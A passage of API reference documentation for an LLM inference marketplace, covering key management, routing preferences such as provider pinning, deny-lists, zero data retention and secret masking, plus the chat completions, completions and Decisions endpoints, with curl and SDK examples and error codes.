serves this model on this endpoint | | `404` | `minimum_discount_not_met` | No eligible healthy seller meets the `/min{N}` discount threshold | | `502` | `provider_error` | Upstream provider failed after healthy failover candidates were exhausted | | `503` | `sellers_unavailable` / `no_healthy_sellers` | No candidate seller is currently healthy or available (retryable) | --- # /docs/api-reference/buyer-endpoints # Buyer Endpoints All require authentication (API key or session cookie). ## Keys > **Everything you can do to a key in the dashboard, you can do here over the API.** Create, list, read, rename, revoke, and configure per-key routing preferences, with no browser. This is the same API the dashboard itself calls. Authenticate with any active buyer key (`inf_…`) or a session cookie; the tenant is resolved from your auth, never sent in the body. > > Changing keys needs an **unrestricted** key or a session. A restricted key (one with a scope, a trusted-only or ZDR provider setting, budget, or expiry, or any team-workspace key) gets `403 restricted_key` when it tries to create, rename, configure, or revoke a key, or to change `/v1/buyer/preferences` or `/v1/buyer/providers`. It can still list and read keys, and revoke itself. POST /v1/buyer/keys Create a key (up to 25 active per wallet). Requires an `Idempotency-Key` header. The `inf_…` secret is returned in the `key` field **once**. Store it immediately; afterwards only its `id` and `key_prefix` are recoverable. The response also carries `secret_masking_choice` and `docs_url` (see below). GET /v1/buyer/keys List keys, redacted (`id`, `key_prefix`, `label`, `created_at`, plus `last_used_at` / `revoked_at` when set). `last_used_at` is kept current as the key is used. Add `?workspace_id=` to narrow a team org's keys to one workspace. GET /v1/buyer/keys/{id} Read one key's metadata (never the secret). PATCH /v1/buyer/keys/{id} Rename a key's `label`. DELETE /v1/buyer/keys/{id} Revoke a key. Irreversible; returns `204`. **Keys** **Create** ```bash POST /v1/buyer/keys Idempotency-Key: 9f8c1e2b-... # required { "label": "Cursor" } # → { # "id": "01JQ8G7YV3M4N5P6Q7R8S9T0AB", # "key": "inf_9f8c1e2b3a4d5e6f7a8b9c0d1e2f3a4b", # shown once # "key_prefix": "inf_9f8c1e2b", # "label": "Cursor", # "created_at": 1713312000000 # } ``` **List** ```bash GET /v1/buyer/keys # → { "items": [ { # "id": "01JQ8G7YV3M4N5P6Q7R8S9T0AB", "key_prefix": "inf_9f8c1e2b", # "label": "Cursor", "created_at": 1713312000000, "last_used_at": 1713398400000 # } ] } ``` **Read** ```bash GET /v1/buyer/keys/{id} ``` **Rename** ```bash PATCH /v1/buyer/keys/{id} { "label": "Cursor (prod)" } ``` **Revoke** ```bash DELETE /v1/buyer/keys/{id} ``` ### Per-key routing preferences GET /v1/buyer/keys/{id}/preferences Read a key's stored routing preferences and limits, plus `secret_masking_available`. PUT /v1/buyer/keys/{id}/preferences Configure a key. The body is `{ preferences, limits }`; `limits` is reserved for future spend caps, so send `{}`. **`preferences` is merged, not replaced.** A field you leave out keeps its stored value, `null` clears that one field, and any other value sets it. This call used to replace `preferences` wholesale, so `{ "preferences": {} }` cleared everything; it now changes nothing. The same rule applies to `PUT /v1/buyer/preferences` and to `PATCH /v1/keys/{id}`, where `provider_trust: "default"` now clears only the trust setting and leaves `mask_secrets` as it was. - `allow_untrusted` (boolean, nullable): `true` lets this key route to providers outside the trusted-domain allowlist; `null` or not set inherits the account default (trusted-only). - A key's ZDR setting ("ZDR providers only") is not a field here: set it with `provider_trust: "zdr"` on `POST /v1/keys` or `PATCH /v1/keys/{id}` (`default`, `trusted` or `all` turns it off again). It is allowed on buyer keys while `zdr_routing_available` is `true`, and is read back as `provider_trust`. This call refuses a body that tries to set it directly. See [Zero Data Retention](https://www.surplusintelligence.ai/docs/marketplace/zero-data-retention). - `mask_secrets` (boolean, nullable, beta): `true` turns [secret masking](https://www.surplusintelligence.ai/docs/guides/secret-masking) on for every request made with this key. `false` and `null` both leave it to the account. A key cannot turn off masking its account has turned on. The response echoes the stored values, `zdr_routing_available` (`true` when [ZDR routing](https://www.surplusintelligence.ai/docs/marketplace/zero-data-retention) is available) and `secret_masking_available`: `true` when masking is available on the service, `false` when masking is paused on the service (a request that asks for it is then sent without masking). A write that turns `mask_secrets` on also returns `secret_masking_effective_at`, the ISO-8601 time from which it applies: about 31 seconds after the write, or about 70 seconds when masking has only just been turned on for the service. Send `X-SI-Mask-Secrets: on` to be covered before then. Set the account-wide defaults with `GET` / `PUT /v1/buyer/preferences`: the same `{ preferences, limits }` body, the same merge and the same two masking fields, with the account's stored values in `preferences_account`. A key without its own `allow_untrusted` inherits the account's, and an account `mask_secrets: true` covers every key. The account's responses (and a new buyer key's) also carry `secret_masking_choice`: `undecided` for a new account, which is not masked, until a `PUT /v1/buyer/preferences` writes `mask_secrets`, then `decided`. Ask your user before writing it. `docs_url` beside it links the [masking guide](https://www.surplusintelligence.ai/docs/guides/secret-masking). To answer only if nobody has yet (the dashboard's first-run question does this), send `"expected_secret_masking_choice": "undecided"` with the `PUT`: on an account that has already chosen, nothing is written and the answer is `409 masking_choice_already_made`. If another write changes the same preferences at the same moment, the server re-reads and merges again; after three lost races it answers `409 concurrent_update`, which is safe to retry. **Preferences** **Read** ```bash GET /v1/buyer/keys/{id}/preferences # → { "preferences": { "allow_untrusted": true }, "limits": {}, # "secret_masking_available": true } ``` **Configure** ```bash PUT /v1/buyer/keys/{id}/preferences { "preferences": { "mask_secrets": true }, "limits": {} } # → { "preferences": { "allow_untrusted": true, "mask_secrets": true }, # "limits": {}, "secret_masking_available": true, # "secret_masking_effective_at": "2026-10-13T12:00:31.000Z" } ``` **Preferences inherit, they do not default to off** 1. **Account preference**: Your baseline 2. **Key preference**: null = inherit 3. **Resolved value**: What the request uses A null on a key means 'inherit from the account', not 'disabled'. Setting it on the key is what overrides - which is why clearing a key preference restores the account value rather than turning the feature off. `mask_secrets` is the one exception to that override. A key can turn masking on for itself, but a key's `false` does not override an account's `true`: a request is masked when its key **or** its account says so (or it sends `X-SI-Mask-Secrets: on`). ## Profile GET /v1/buyer/me Balance, allowance, usage stats, per-model breakdown. GET /v1/buyer/overview Spend, savings and pace for a range in one call. `range` = `7d`, `30d` (default), or `90d`, trailing and including today (UTC). Returns `totals` and `previous` (the equal range before it) with the same measures as `/v1/analytics/spend/summary`, plus `kpis`, `daily` (one entry per day with traffic), `by_model` (top models; 7 and 30 days only), `distinct_models`, `avg_daily_spend_micro` (your 7-day spending pace, integer micro-USD per day), `cache_routing_mode`, and `computed_at`. `workspace_id` picks a workspace of your org, or `all` for the org rollup (needs audit access on a team org); without it you get your active workspace. `coverage: false` means the figures for that range aren't available yet. Every figure is then `null` or empty, never a zero you could mistake for no spend. GET /v1/buyer/savings Savings vs direct provider pricing (all-time). Add `?period=daily` or `?period=weekly` for savings bucketed by day or week. `cache_saved_usdc` is what prompt caching saved you (integer micro-USD), counted from `cache_saved_since` (epoch ms), so show it as "since" that date rather than as a lifetime figure. It is signed per request and floored at zero on the total. Both are `null` until a request has been measured. GET /v1/buyer/approve-status Legacy on-chain allowance status. Not part of funding an account - use deposited USDC or fiat credits. **Profile** **Balance** ```bash GET /v1/buyer/me ``` **Overview** ```bash GET /v1/buyer/overview?range=7d GET /v1/buyer/overview?range=30d&workspace_id=all ``` **Savings** ```bash GET /v1/buyer/savings ``` **Savings by period** ```bash GET /v1/buyer/savings?period=daily GET /v1/buyer/savings?period=weekly ``` **Approve status** ```bash GET /v1/buyer/approve-status ``` ## Usage Export GET /v1/buyer/usage/export CSV export of all usage records. Columns: request\_id, created\_at, model, input\_tokens, output\_tokens, buyer\_cost\_usd, direct\_cost\_usd, settlement\_status, tx\_hash, media\_type, media\_units, media\_unit\_type, key\_id. Up to 50,000 rows. `from` and `to` take a `YYYY-MM-DD` UTC day or an ISO-8601 instant, both inclusive; a day `to` covers the whole day, and any other value is a 400. Rows are stamped to the millisecond, so back-to-back windows set the next `from` to the previous `to` plus one day, or plus 1 ms for instants. Rows come newest first: when `x-si-export-truncated: true` is set, call again with `to` at the oldest `created_at` in the file and drop the `request_id`s you already have (rows sharing that millisecond come back again). This works while fewer rows share one millisecond than the cap or your `limit`. **Usage export** ```bash GET /v1/buyer/usage/export?format=csv&from=2026-01-01&to=2026-04-13 ``` ## Providers (BYOK) Register your own provider keys as buyer-owned providers. A provider scoped to a specific `model` is tried first for that model (priority - the marketplace is overflow only). A provider with `model: null` is a catch-all fallback used for any model when all marketplace sellers fail. POST /v1/buyer/providers Register a priority provider for a specific model, or a catch-all fallback (used when all marketplace sellers fail). GET /v1/buyer/providers List providers. Each carries `last_used_at` (when the key last served a request, epoch ms) and `uses_this_week` (requests it served in the last 7 UTC days, today included). A provider added since these counters shipped reads `uses_this_week: 0` until its first use; on an older one both are `null` until they can be stated in full, never a partial count. GET /v1/buyer/providers/{id} Read one provider (health, `active`, masked key hint, `last_used_at`, `uses_this_week`). PATCH /v1/buyer/providers/{id} Update a provider: rotate its `api_key`, change `base_url` or `label`, or enable/disable it with `active`. DELETE /v1/buyer/providers/{id} Remove a provider. Routing order: model-scoped priority provider → marketplace sellers → catch-all (`model: null`) provider → universal fallback. **Providers (BYOK)** **Priority provider** ```bash POST /v1/buyer/providers { "model": "claude-opus-4.6", "api_key": "sk-...", "base_url": "https://api.venice.ai/api/v1" } ``` **Catch-all fallback** ```bash POST /v1/buyer/providers { "model": null, "api_key": "sk-...", "base_url": "https://api.venice.ai/api/v1" } ``` **List** ```bash GET /v1/buyer/providers ``` **Update** ```bash PATCH /v1/buyer/providers/{id} { "active": false } ``` **Remove** ```bash DELETE /v1/buyer/providers/{id} ``` --- # /docs/api-reference/chat-completions # Chat Completions POST /v1/chat/completions > **Minimum-discount routing:** Prefix the path with a `min{N}` segment (e.g. `/min30/v1/chat/completions`) to require marketplace seller offers to meet a minimum estimated buyer discount before routing. Buyer-owned providers are not covered. See [Minimum-Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing). The primary inference endpoint. OpenAI-compatible - works with any client that speaks the OpenAI format. ## Request ## Parameters - `model` (required): Model name (canonical, OpenRouter, Venice, or alias format) - `messages` (required): Array of message objects - `stream`: `true` for SSE streaming (default: false) - `max_tokens`: Maximum output tokens - `max_completion_tokens`: Alias for `max_tokens` - `temperature`: Sampling temperature - `top_p`: Nucleus sampling - `stop`: Stop sequences - `tools`: Function calling tools (OpenAI format - auto-translated for Anthropic sellers) - `tool_choice`: Tool selection strategy (`auto`, `required`, or specific function) - `response_format`: Structured output format - `reasoning_effort`: Reasoning effort as a string, on models whose `supported_parameters` lists it. See [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning) - `reasoning`: Reasoning options as an object (e.g. `{"effort": "high"}`). Not interchangeable with `reasoning_effort`; see [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning) - `provider`: Optional provider hint - a single provider **or an array** of providers (an allow-list). Narrows routing to offers from the matching provider(s) before cheapest-offer selection. - `provider_url`: Optional provider URL hint (single value). Equivalent to `provider`, but matched by provider host. - `provider_base_url`: Optional provider base URL hint (single value). Equivalent to `provider_url`. - `providers_blocked`: Providers to **refuse** for this request - a single provider or an array. The deny-list counterpart of `provider`; matched on the same spellings. See [Routing Controls](https://www.surplusintelligence.ai/docs/marketplace/routing-controls) - `provider_order`: Preferred **attempt order** by provider, most-preferred first. Ordering only - it never makes an offer eligible or ineligible. See [Routing Controls](https://www.surplusintelligence.ai/docs/marketplace/routing-controls) - `stream_options`: On a streamed request, `{"include_usage": true}` opts in to a final `choices: []` chunk carrying token counts in `usage`. `buyer_cost_micro` is included only for a known priced charge and is omitted when the charge is unknown. **Request** ```bash curl https://api.surplusintelligence.ai/v1/chat/completions \ -H "Authorization: Bearer inf_xxx" \ -H "Content-Type: application/json" \ -d '{ "model": "claude-opus-4.6", "messages": [{"role": "user", "content": "Hello!"}], "stream": true, "max_tokens": 1000 }' ``` ### Minimum Discount ```bash -H "X-Min-Discount: 30" ``` Routes only to marketplace offers at least 30% below the go-direct reference price rather than paying more (buyer-owned priority and fallback providers are exempt). When otherwise-eligible healthy sellers miss the floor and no buyer-owned route applies, the request typically fails with `404 minimum_discount_not_met`, naming the best estimated discount among offers eligible for your request (when known) — including temporary gaps such as floor-meeting sellers health-paused after upstream errors (retry with backoff or lower the floor). On eligible credit/on-chain routes (when cooldown reporting is enabled), brief rate-limit cooldowns on floor-meeting supply may instead return `503 minimum_discount_supply_cooldown` with `Retry-After`, and full-unhealthy supply or other constraints can return their own no-supply or refusal errors. The same floor can be set once on the API key (`min_discount_pct`) or in the URL (`/min30/v1/chat/completions`) - the strictest of the three applies. > Price ceilings (`max_price_per_1m`, `X-Max-Price-Per-1M`) are **retired**: a per-1M input rate ignored output > and cache rates, so it never described what a request actually cost. See [Parameter Compatibility](https://www.surplusintelligence.ai/docs/reference/parameter-compatibility) for full model-specific support, and [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning) for `reasoning_effort` / `reasoning`. ### Idempotency-Key ```bash -H "Idempotency-Key: 6f1c2a4e-…" # one per request; send the same one again when you retry it ``` **This is being enabled.** Until it is, the header is ignored, and a repeated request is a second call and a second charge. Once enabled, it applies here and on `/v1/completions`, `/v1/responses` and `/anthropic/v1/messages`, each with its `/min{N}` mirror. A request that sends a key (up to 255 characters) is claimed for 24 hours, per payer (your account, or the paying wallet on x402 and MPP) and key: | You send | You get | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | The same request again (method, path including any `/min{N}` prefix, query and body) | The first answer, with its status, body, `x-request-id` and `x-si-*` headers, plus `Idempotency-Replayed: true`. No upstream call and no charge. The cost headers (and a streamed `usage.buyer_cost_micro`) describe the original charge. A stream comes back as one SSE body with the same bytes. | | The same key while the first request is still running | `409 idempotency_in_progress`. Retry shortly. | | The same key with a different request, another minimum discount included (`/min50` against the bare path, or another `X-Min-Discount`), or a ZDR request against a non-ZDR one | `422 idempotency_key_reused`. Nothing is sent or charged. | | The same key after a request whose answer was not kept | `409 idempotency_replay_unavailable`. The message names the first request's id (also in `error.detail`), so read it with `GET /v1/requests/{id}`. No upstream call and no charge. | | The same key after a request that failed before any charge (refused, out of credit, every seller failed) | The request runs again: the failure released the key. | - **Not kept, so not replayable:** a secret-masked request (its answer holds your restored secrets), a zero-data-retention request, an answer over 4 MiB, and a stream that ended early (you stopped reading, or it failed mid-stream). - **The Requests log:** a replay is its own entry, charged nothing. - **x402:** a repeat needs a fresh payment authorization; reusing the first is refused as before. A replay, a 409 or a 422 never settles it. **MPP:** a `transaction` credential is not charged for a replay; a `hash` payment, already paid on chain, is **not** deduped. - **Not covered:** `/v1/embeddings`, `/v1/decisions` and the native media routes (images, speech, transcription, video, music) keep their current behaviour. - **Storage:** sending the key asks us to keep that one answer, encrypted, for 24-48 hours so it can be replayed. A secret-masked request's answer is never kept. ### Provider Pinning, Blocking, and Ordering By default, Surplus routes each request to the cheapest healthy seller for the requested model. If you need to restrict routing to one or more specific providers, pass a `provider` hint in the request body. It accepts **a single provider or an array of providers** (an allow-list). With an array, the request routes to any offer whose provider is in the list - the router then applies normal selection within that set: it picks the cheapest healthy offer among the allowed providers and excludes everyone else (even a cheaper provider you didn't list). All the usual rules still apply inside the allow-list: health checks, spend caps, price thresholds, estimated-cost sorting, and failover among matching offers. Accepted forms (each array element can be any of these): - a provider id or name - `"zai"` / `"Z.ai"`, `"uncensored"` / `"Uncensored AI"` - a provider host - `"api.z.ai"` - a provider URL - `"provider_url": "https://api.z.ai/api/paas/v4"` or `"provider_base_url": "https://api.uncensored.com/api/v1"` (these two aliases stay single-valued) **Unsupported providers.** Each entry is matched against the supported provider list. Unrecognized entries are ignored, so a mix like `["zai", "not-a-provider"]` simply routes on `zai`. If **every** entry is unrecognized, the request fails with **`400 unsupported_provider`** (the error names the bad entries and lists the supported providers). **No offers vs unsupported.** A *supported* provider that just has no active healthy offer for the requested model returns **`404 no_sellers_for_model`** - distinct from `400 unsupported_provider`. Provider hints are optional and advanced: pinning narrowly can fail even when another (unlisted) provider has liquidity for the same model. **A pin your request's parameters rule out.** An offer whose provider does not accept a parameter your request uses is skipped (DashScope's chat API, for example, does not take `tool_choice`). When that leaves your pin with no offer, the `404 no_sellers_for_model` says so after its usual first sentence: it names the pin and every such parameter, and says what to change, e.g. *Your provider pin 'dashscope' matches only offers whose provider does not accept this request's `tool_choice`. Remove `tool_choice` or the pin: 239 healthy offer(s) on other providers accept this request.* Without a pin, when no offer for the model accepts the parameter, it says *No offer for this model accepts this request's `tool_choice`. Remove `tool_choice` for this model's offers to be considered.* Retrying the same request gets the same answer: change the request or the pin. **A pin on untrusted providers.** Routing is trusted-only by default, so offers from a provider outside the trusted set (Azure OpenAI is one) are skipped unless `preferences.allow_untrusted` is `true` on the key or the account ([buyer endpoints](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints)). When the pin leaves only such providers, the answer is still `503 no_healthy_sellers`, but its message now counts them (*N offer(s) skipped — untrusted provider; ...*). Retrying will not help while that is the reason: set `allow_untrusted: true` on the key or the account, or pin a trusted provider. A key scoped to trusted providers cannot reach them. When trusted sellers exist but none could serve (all down, or every healthy one failed) while healthy untrusted offers you could otherwise use were skipped, the answer is a retryable **`503 no_healthy_trusted_sellers`**: its message says how many such offers there are and names the setting that includes them. A pin that matches none of the model's offers says so after the 404's first sentence: *(provider pin 'groq' matched none of the 6 offer(s) for this model)*. #### `providers_blocked` - the deny-list The counterpart of `provider`, and a sibling of it rather than a nested option: `provider` says who *may* serve the request, `providers_blocked` says who may *not*. Same accepted spellings (family, name, or host), single value or array. Unlike an unrecognized `provider` entry, an unreadable `providers_blocked` is **refused, not ignored** - `{"venice": true}` fails with `400 invalid_request` rather than silently applying no block. A block that quietly disappears would route the request to precisely the provider you refused, so it fails loudly instead. An empty array means "block nothing", never "block everything". If the block leaves no eligible offer, the request fails with `503 no_healthy_sellers`. #### `provider_order` - the attempt order Providers you name are tried first, in the order given; everything else follows in the router's own order. **Ordering is not eligibility** - it reorders offers that already passed every filter and can neither resurrect an excluded offer nor exclude one you did not name. All three work on every text surface: `/v1/chat/completions`, `/v1/completions`, `/v1/responses`, and `/anthropic/v1/messages`. None of them are forwarded to the provider. See [Routing Controls](https://www.surplusintelligence.ai/docs/marketplace/routing-controls) for the full semantics and the key-scoped blocklist they compose with. **Provider pinning** **Single provider** ```json { "model": "glm-4.7", "messages": [{"role": "user", "content": "Hello!"}], "provider": "zai" } ``` **Provider allow-list** ```json { "model": "glm-4.7", "messages": [{"role": "user", "content": "Hello!"}], "provider": ["zai", "openrouter"] } ``` **Block + order** ```json { "model": "glm-4.7", "messages": [{"role": "user", "content": "Hello!"}], "providers_blocked": ["openrouter"], "provider_order": ["zai", "venice"] } ``` ### Tool Calling Current behavior: - Send tools in OpenAI `tools` / `tool_choice` format. - OpenAI-compatible sellers receive OpenAI-format tool calls after normalization. This is the path used by the active production Claude sellers today, mostly Venice and Bankr LLM Gateway. - Native Anthropic sellers (`api.anthropic.com`) are supported through an OpenAI ⇄ Anthropic translation layer: `tools` become Anthropic tools, assistant `tool_calls` become `tool_use` blocks, `role: "tool"` messages become `tool_result` blocks, and streaming `tool_use` deltas are converted back to OpenAI `tool_calls` deltas. - Tool support is still model-dependent. Check `GET /v1/models`: if `supported_parameters` does not include `tools`, the marketplace strips `tools` and `tool_choice` before forwarding because the upstream model rejects them. - Non-function tools such as computer-use or text-editor tool types are not executed by the marketplace; unsupported tool definitions are stripped or normalized to function tools when possible. Streaming function-tool calling is supported for providers/models that stream tool-call deltas. Anthropic SSE `tool_use` events are translated to OpenAI `tool_calls` deltas; OpenAI-compatible providers are passed through after normalization. **Example multi-turn function-tool transcript** ```json { "model": "claude-opus-4.6", "messages": [ {"role": "user", "content": "What's the weather in Tokyo?"}, {"role": "assistant", "content": null, "tool_calls": [ {"id": "call_1", "type": "function", "function": {"name": "get_weather", "arguments": "{\"city\":\"Tokyo\"}"}} ]}, {"role": "tool", "tool_call_id": "call_1", "content": "{\"temp\": 22, \"condition\": \"sunny\"}"} ], "tools": [{"type": "function", "function": {"name": "get_weather", "parameters": {"type": "object", "properties": {"city": {"type": "string"}}}}}] } ``` ### Multimodal Input Images, documents, and other media travel inside `messages[].content` as typed parts, with no upload step: `{"type": "image_url", "image_url": {"url": "https://…"}}`, or a `data:` URL for inline bytes. `messages` is forwarded to the chosen seller whole. The marketplace does not fetch buyer URLs, re-encode bytes, or validate the MIME type declared in a data URL. Two consequences follow. An unusual shape, such as a video data URL in `image_url`, succeeds only if the provider that wins the route accepts it. An image referenced only by `file_id` returns `400 unresolvable_file_reference`, since no marketplace seller's key can resolve another account's file id. Model capability requires a lookup: check `architecture.input_modalities` **and** `supported_features` on `GET /v1/models`. The two disagree on some rows and the router treats either as sufficient. Full contract, including video, YouTube URLs, documents, limits, and errors: [Media Inputs](https://www.surplusintelligence.ai/docs/guides/media-inputs). **Image input** ```json { "model": "gemini-3.8-flash", "messages": [{ "role": "user", "content": [ {"type": "text", "text": "What is in this image?"}, {"type": "image_url", "image_url": {"url": "https://example.com/photo.jpg"}} ] }] } ``` ### Message Roles | Role | Description | | ----------- | ---------------------------------------------------------------------------- | | `system` | System prompt (mapped to Anthropic `system` parameter when needed) | | `developer` | Alias for `system` (OpenAI convention, auto-mapped) | | `user` | User message (text, images, or mixed content blocks) | | `assistant` | Model response (may include `tool_calls`) | | `tool` | Tool result (requires `tool_call_id` matching a previous `tool_calls` entry) | 1. **provider**: Allow-list - keeps only these 2. **providers\_blocked**: Deny-list - wins over the allow-list 3. **provider\_order**: Re-sorts the survivors Only the first two change which sellers are **eligible**. `provider_order` re-sorts what survived - it cannot bring back a seller the deny-list removed. ## Response Standard OpenAI format. Streaming returns SSE chunks with `data: {...}` lines. Send `stream_options: {"include_usage": true}` to receive the final `choices: []` chunk with token counts in `usage`. `buyer_cost_micro` is included only when the request has a known priced charge; when the charge is unknown, the field is omitted. ## Error Codes | Status | Meaning | | ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | 400 | Invalid request (bad model name, missing messages). Media-specific: `unresolvable_file_reference`, and `model_does_not_support_images` when the image-modality gate is enforcing (it is off by default, in which case the provider's own rejection surfaces instead). See [Media Inputs](https://www.surplusintelligence.ai/docs/guides/media-inputs). `idempotency_key_invalid`: an `Idempotency-Key` over 255 characters. `conversation_ends_with_assistant`: models whose providers all reject assistant prefill may refuse a conversation whose `messages` end with an assistant message up front with this 400; end `messages` with a user or tool message. Nothing is held or charged | | 401 | Invalid API key | | 402 | Insufficient balance, or payment required (x402) | | 404 | Model has no sellers | | 409 | `Idempotency-Key`, when enabled: `idempotency_in_progress` (the first request with this key is still running; retry) or `idempotency_replay_unavailable` (it ran and its answer was not kept; nothing was charged again) | | 422 | `idempotency_key_reused`: this `Idempotency-Key` was used with a different request | | 503 | All sellers unhealthy, or `idempotency_unavailable` (the key could not be checked and nothing ran; retry) | A **long-running non-streaming request is the exception to this table**: its status is committed before the outcome is known, so it always returns `200` and carries the failure in the response body instead. Branch on `error` / `choices` in the body rather than on the status alone. See [Long-running responses](https://www.surplusintelligence.ai/docs/reference/long-running-responses). **A stream that ends without a `finish_reason`.** On some providers a stream can stop before the model finishes. The stream then ends with one `error` frame (`"type": "upstream_error"`), just before `data: [DONE]` when the provider sent one: `upstream_generation_timeout` when the provider ended the stream after several minutes without producing any output or a completion marker (the model most likely reached its generation deadline, and the same request will likely hit the same limit: shorten the prompt or lower the reasoning effort), and `stream_incomplete` otherwise (the response may be incomplete, and a retry may complete it). The status was already `200`, and billing is unchanged. On `/anthropic` and `/v1/responses` the same case ends with that surface's error event. --- # /docs/api-reference/completions # Completions POST /v1/completions > **Minimum-discount routing:** Prefix the path with a `min{N}` segment (e.g. `/min30/v1/completions`) to require marketplace seller offers to meet a minimum estimated buyer discount before routing. Buyer-owned providers are not covered. See [Minimum-Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing). ## Request Legacy completions endpoint (non-chat format). Included for OpenRouter compatibility. Same auth, routing, and settlement as chat completions. Same error codes apply. **Request** ```bash curl https://api.surplusintelligence.ai/v1/completions \ -H "Authorization: Bearer inf_xxx" \ -H "Content-Type: application/json" \ -d '{ "model": "claude-opus-4.6", "prompt": "Once upon a time", "max_tokens": 100 }' ``` ## Streaming Set `"stream": true` to receive SSE chunks. To receive the final `choices: []` usage chunk, also send `"stream_options": {"include_usage": true}`. That final chunk carries token counts in `usage`. `buyer_cost_micro` is included only when the request has a known priced charge; when the charge is unknown, the field is omitted. --- # /docs/api-reference/decisions # Decisions API POST /v1/decisions > **Minimum-discount routing:** Prefix the path with a `min{N}` segment (e.g. `/min30/v1/decisions`) to require marketplace seller offers to meet a minimum estimated buyer discount before routing. See [Minimum-Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing). Ask ordered classification and scoring questions about shared evidence, and get calibrated probabilities back. The endpoint speaks **OpenAI's public Decisions API** - point the OpenAI SDK at Surplus and call `client.decisions.create` - and keeps accepting the **JEV format** (`state` plus a map of questions) that earlier Surplus integrations use. Both formats route through the marketplace: API-key auth, x402 payment challenges, seller selection, usage logging and accounting work as on every other endpoint. ## Basic request `questions` is an **array**, answered in order. Three question types: - `predicate` - a yes/no question; the answer is a `probability`. - `choice` - pick one of `choices`; values are typed (the string `"true"` and the boolean `true` are different choices). - `score` - rate against ordered `levels`; the answer is a probability-weighted level index. `name` is optional; unnamed questions are answered as `name: null`. `input` is a string, or user messages whose content is `input_text` and `input_image` parts. **Basic request** **cURL** ```bash curl https://api.surplusintelligence.ai/v1/decisions \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "model": "gpt-6-luna", "input": "Card charged twice for the June invoice; refund requested 38 hours ago.", "questions": [ { "type": "predicate", "name": "urgent", "instructions": "Should on-call be paged within the hour?" }, { "type": "choice", "name": "queue", "instructions": "Which team owns it?", "choices": [{ "value": "billing" }, { "value": "support" }] }, { "type": "score", "name": "anger", "instructions": "How upset is the customer?", "levels": [{ "label": "calm" }, { "label": "annoyed" }, { "label": "furious" }] } ] }' ``` **Python** ```python from openai import OpenAI client = OpenAI(base_url="https://api.surplusintelligence.ai/v1", api_key=SURPLUS_API_KEY) decision = client.decisions.create( model="gpt-6-luna", input="Card charged twice for the June invoice; refund requested 38 hours ago.", questions=[ {"type": "predicate", "name": "urgent", "instructions": "Should on-call be paged within the hour?"}, {"type": "choice", "name": "queue", "instructions": "Which team owns it?", "choices": [{"value": "billing"}, {"value": "support"}]}, ], ) print(decision.answers[0].probability) ``` **Node** ```ts import OpenAI from 'openai'; const client = new OpenAI({ baseURL: 'https://api.surplusintelligence.ai/v1', apiKey: process.env.SURPLUS_API_KEY }); const decision = await client.decisions.create({ model: 'gpt-6-luna', input: 'Card charged twice for the June invoice; refund requested 38 hours ago.', questions: [{ type: 'predicate', name: 'urgent', instructions: 'Should on-call be paged within the hour?' }], }); console.log(decision.answers[0]); ``` ## Response `{model, answers, usage}` - one answer per question, in question order, each carrying the question's `name`. A question the model declines comes back as `{"type": "refusal", "name": …}`; a refusal is still a served (and billed) answer. `usage` is the provider's own count. Decisions are billed on **input tokens only**; output is free. **Response** ```json { "model": "gpt-6-luna", "answers": [ { "type": "predicate", "name": "urgent", "probability": 0.82 }, { "type": "choice", "name": "queue", "choice": "billing", "probabilities": [{ "value": "billing", "probability": 0.91 }, { "value": "support", "probability": 0.09 }], "confidence": 0.84 }, { "type": "score", "name": "anger", "score": 1.2, "probabilities": [ { "value": 0, "label": "calm", "probability": 0.1 }, { "value": 1, "label": "annoyed", "probability": 0.6 }, { "value": 2, "label": "furious", "probability": 0.3 } ], "confidence": 0.7 } ], "usage": { "input_tokens": 412, "input_tokens_details": { "cached_tokens": 0, "cache_write_tokens": 0 }, "output_tokens": 0, "output_tokens_details": { "reasoning_tokens": 0 }, "total_tokens": 412 } } ``` ## Images Add `input_image` parts with a **base64 data URL** (PNG, JPEG, WebP or GIF) and an optional `detail` (`low`, `high`, `auto`, `original`). Hosted image URLs and file ids are not supported. At most 128 images per request. ```json { "model": "gpt-6-luna", "input": [{ "role": "user", "content": [ { "type": "input_text", "text": "Is the package in this photo damaged?" }, { "type": "input_image", "image_url": "data:image/png;base64,iVBORw0KGgo…", "detail": "low" } ] }], "questions": [{ "type": "predicate", "instructions": "Is there visible damage?" }] } ``` ## The JEV format The earlier Surplus format still works: `state` (a string, object or array) and `questions` as a **map** keyed by your own ids, with `noul` / `choice` / `score` questions and `criteria`. Answers come back as a map keyed by those ids. On models whose sellers speak this format (such as `jev-1.13`) the request and the answer are passed through unchanged. When a JEV request goes to a model whose sellers speak the OpenAI format (e.g. `gpt-6-luna`), Surplus translates it only if nothing is lost: `noul` without criteria, `choice` criteria that map values to text descriptions, and `score` criteria that are a list of labels. A `state` object is sent as JSON text. Anything else is refused with `400 decisions_mapping_lossy` and the reason - send the OpenAI format instead. Translated responses carry `X-SI-Adapted-Response: answers`; a refusal appears as `{"type": "refusal"}`, a score answer carries its `legend` but not the per-level probabilities, and `usage` is the OpenAI seller's. ## Routing, privacy and limits - **Provider pins.** `provider`, `providers_blocked`, `provider_order` and `si_route` work as on chat completions. From the Python SDK pass them through `extra_body`; from the Node SDK put them in the request object. - **End-user ids.** On OpenAI-format sellers, `safety_identifier` (and a translated JEV request's `user`) reach the seller only as a stable one-way digest. Translated fields are listed in `X-SI-Adapted-Params`. - **Access.** In some environments `/v1/decisions` is limited to pilot accounts (`403 buyer_not_in_allowlist`). - **Limits.** Up to 64 questions, 64 choices or levels per question, names up to 128 characters, 128 images, and a 10 MB body. - **Idempotency.** `Idempotency-Key` is not used on this endpoint: a repeat runs again and is charged again. (The chat, completions, responses and messages endpoints dedupe on it when enabled; see the chat completions reference.) - 